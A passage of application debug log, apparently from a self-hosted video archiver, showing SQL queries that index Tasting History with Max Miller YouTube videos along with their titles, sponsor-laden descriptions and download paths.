Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, false, 3, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", nil, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, 3, ~U[2026-01-20 00:00:00Z]] 02:51:23.489 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.490 [debug] QUERY OK source="media_items" db=1.3ms idle=4.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 00:00:00Z], 3] 02:51:23.492 [debug] QUERY OK source="media_items" db=1.0ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "54c63c54-3fa8-4ace-9ed4-7aed9e0faecf", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, false, 3, [], 98, ~U[2026-01-13 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", nil, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, 3, ~U[2026-01-13 00:00:00Z]] 02:51:23.492 [debug] QUERY OK source="sources" db=0.2ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.493 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 00:00:00Z], 3] 02:51:23.496 [debug] QUERY OK source="media_items" db=1.6ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "732d9eed-86f9-48ae-81b4-9c5847b7f3ee", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, false, 3, [], 98, ~U[2026-01-06 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", nil, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, 3, ~U[2026-01-06 00:00:00Z]] 02:51:23.496 [debug] QUERY OK source="sources" db=0.2ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.497 [debug] QUERY OK source="media_items" db=1.1ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 3] 02:51:23.570 [debug] QUERY OK source="media_items" db=72.5ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "d8f043fe-0b79-449d-9b6c-86686281af8d", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, false, 3, [], 98, ~U[2025-12-30 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, 3, ~U[2025-12-30 00:00:00Z]] 02:51:23.571 [debug] QUERY OK source="sources" db=0.3ms idle=77.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.572 [debug] QUERY OK source="media_items" db=1.2ms idle=75.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 00:00:00Z], 3] 02:51:23.579 [debug] QUERY OK source="media_items" db=6.4ms idle=76.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "09143806-444a-411b-a564-080030437a52", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, false, 3, [], 98, ~U[2025-12-23 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", nil, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, 3, ~U[2025-12-23 00:00:00Z]] 02:51:23.580 [debug] QUERY OK source="sources" db=0.3ms idle=82.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.582 [debug] QUERY OK source="media_items" db=1.3ms idle=10.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 00:00:00Z], 3] 02:51:23.583 [debug] QUERY OK source="media_items" db=1.0ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "800ae74f-49e4-40c1-bf80-8298cdb740c0", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, false, 3, [], 98, ~U[2025-12-19 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", nil, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, 3, ~U[2025-12-19 00:00:00Z]] 02:51:23.584 [debug] QUERY OK source="sources" db=0.2ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.585 [debug] QUERY OK source="media_items" db=1.3ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 00:00:00Z], 3] 02:51:23.595 [debug] QUERY OK source="media_items" db=9.2ms idle=5.6ms INSERT INTO "media_items" AS m0 